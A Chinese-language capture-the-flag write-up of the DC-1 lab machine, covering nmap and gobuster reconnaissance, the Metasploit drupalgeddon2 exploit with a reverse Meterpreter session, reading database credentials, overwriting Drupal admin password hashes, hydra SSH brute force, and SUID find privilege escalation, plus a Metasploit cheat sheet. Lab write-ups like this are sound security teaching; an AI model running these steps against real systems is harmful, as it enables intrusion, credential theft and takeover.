dc-1打靶日记
1. nmap扫描
1.1 目标ip地址确认
通过开关靶机确定并查询当前网段存活的主机来确定靶机的ip地址
通过比较可以看出我们的靶机的ip地址应该是192.168.31.97
1.2 端口扫描
- 扫描开放端口
nmap -sT –min-rate 10000 -p- 192.168.31.97 -oA nmapscan/dc-1ports
-sT
: 使用tcp三次握手的过程进行探测端口是否开放(相对较慢,但相对准确);
-sS
: 默认扫描方式,通过syn标志位进行检测连接是否开放(容易被防火墙挡住);
-oA
:以全格式保存在后续的地址文件中,以三种不同的后缀文件名保存;
--min-rate
: 指定扫描的速度,在正式的护网中要比10000还慢;
-p
:指定扫描端口,-p-
指的是从1到65535端口
可以看到其开放的端口有22,80,111,34609
- 扫描开放端口的详细信息
sudo nmap -sT -sV -sC -O -p22,80,111,34609 192.168.31.97 -oA nmapscan/portsdetail
-sV
:扫描提供服务的版本
-sC
:用默认的脚本进行扫描
-O
:扫描操作系统的版本
根据端口的扫描结果可以知道的信息并不太多,但是通过访问80端口暴露出来的目录可以得知,在install.php
目录下,可以确定其使用的框架
通过网络查询可以知道这是一个CMS框架,作为重要信息之一。
通过漏洞搜索可知,这个cms框架的漏洞并不少
searchsploit durpal cms
searchsploit durpal
- 扫描常见udp端口
sudo nmap -sU –top-ports 20 192.168.31.97 -oA nmapscan/udpports
--top-ports
:扫描最常用的n个端口,空格接数量;
扫描最常见的20个udp端口,查看其开放状态;保存信息备用;
- nmap漏扫
sudo nmap -script=vuln -p22,80,111,34609 192.168.31.97 -oA nmapscan/vuln
漏扫27分钟也没扫出啥,待会再扫,先试试drupal cms搜索出来的漏洞
2. gobuster目录爆破
sudo gobuster dir -u http://192.168.31.97 –wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
目录爆破太慢了,对已爆破出来的目录访问能得到的信息就是知道使用的是drupal cms
3. drupal CMS测试
使用Metasploit查询该CMS进行进行利用测试。
可以根据自己的判断对上述的漏洞进行优先级排序测试,一般从排名excellent
中最新的开始测试,我们这里先测试2018年的那个exploit/unix/webapp/drupal_drupalgeddon2
use exploit/unix/webapp/drupal_drupalgeddon2
show options
show options
显示漏洞模块参数,Required
是yes
的则是必须设置的,为no
的则是可设置可不设置的;
Current Setting
是当前设置的值
我们一般需要对RHOSTS
进行设置,该值是指目标IP地址
set RHOSTS 192.168.31.97
成功设置目标IP地址,在实施利用即可
exploit
看到Meterpreter session 1 opened (192.168.31.221:4444 -> 192.168.31.97:39076) at 2024-05-08 15:32:19 +0800
就是攻击成功了,接下来可以直接上shell获取权限
shell
whoami
id
可以看到这只是一个普通权限的shell,虽然只是一个普通权限,但是我们可以通过该普通权限去获取别的信息
搜索其他的flag文件
find / -name flag*
通过网络查询得知drupal cms的配置文件一般位于名叫setting.php
的文件当中,我们把所有的*setting.php
文件都找出来
find / -name *settings.php
存在3个设置文件,第一个theme-settings.php
根据名字判断应该是主题相关的设置文件,所以我们可以先不查看该文件,而先查看另外两个settings.php
文件
可以看到settings.php
文件中存在数据库的用户名和密码,以及flag2的提示信息;而第三个文件夹大多为注释内容,提取不到什么有用的信息。
继续根据刚才获得的数据库用户名和密码登录数据库查看数据库中的数据,尝试获取登录的用户名和密码
mysql -udbuser -pR0ck3t
可以看到已经成功登陆了数据库,查看数据库
show databases;
可以看到一个是数据库名信息的记录文件,一个是drupaldb数据库;查看drupaldb数据库中的表名
use drupaldb;show tables;
可以看到其中有个叫user的表,其中应该有我们想要的信息,查看该表内的内容;
select * from users;
可以看到确实存在相应的用户名和密码,不过可惜的是用户名对应的密码存在加密,
name | pass
admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg
通过经验判断,数据库中的密码一般是采用hash加密,我们寻找一下hash加密脚本
find / -name *hash*
通过名字判断这应该是我们需要的hash加密脚本,通过读取该脚本可以找到它的使用方法
cat /var/www/scripts/password-hash.sh
使用脚本将自己的密码进行hash加密,然后对表中账号的密码进行修改
php /var/www/scripts/password-hash.sh admin
password: admin hash: $S$DdNJTCHNikFL2m5Yrdjd2mOZ8ZY47LZAsAQumOy5XNxo1My2AG6w
再次回到数据库中更新密码,修改admin账户的密码为admin
mysql -udbuser -pR0ck3t
use drupaldb;update users set pass=”$S$DdNJTCHNikFL2m5Yrdjd2mOZ8ZY47LZAsAQumOy5XNxo1My2AG6w” where name=”admin” or name=”Fred”;
使用已修改的账号密码去登录cms的后台管理,查看其内容可以发现flag3
通过访问/etc/passwd
文件获取系统的用户名,想要访问/etc/shadow
发现没有足够的权限,但是我们发现存在用户名为flag4
方法1:通过直接使用hydra爆破flag4的密码
方法2:提权获取root权限
首先,尝试通过爆破获取flag4用户民的密码
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.31.97
成功爆破出flag4用户的ssh密码,使用其登录获取flag4.txt文件
提权获取root权限,利用find命令,找查具有SUID权限的可执行二进制文件
find / -perm -u=s -type f 2>/dev/null
find比较常用,可以执行root权限的命令找查文件
find / -name index.php -exec “/bin/sh” \;
找查什么文件不重要(但是是存在的文件),只需要格式对,然后后面加上
-exec “/bin/sh” \;
提权成功,已经获取了root权限,可以访问本机的所有文件,包括shadow
至此完全结束!
4. 总结收获
- 扫描目标ip开放端口
- 扫描开放端口详细信息
- 爆破目录,查看目标机器使用的架构等等指纹信息,通过指纹信息查询是否存在相关的漏洞
- 通过基础漏洞获取普通shell,可以通过查询各种配置文件获取其他信息,包括数据库账户密码等或者通过提权获取爆破用户对应的密码等(重点步骤)
- 爆破ssh用户名密码
附录
*.1 Metasploit使用教程
- 基本使用方法
msfconsole #进入框架
search ms17_010 # 使用search命令查找相关漏洞
use exploit/windows/smb/ms17_010_eternalblue # 使用use进入模块
info #使用info查看模块信息
set payload windows/x64/meterpreter/reverse_tcp #设置攻击载荷
show options #查看模块需要配置的参数
set RHOST 192.168.100.158 #设置参数
exploit / run #攻击后渗透阶段
后渗透阶段
- 生成交互性界面
python -c ‘import pty; pty.spawn(“/bin/bash”)’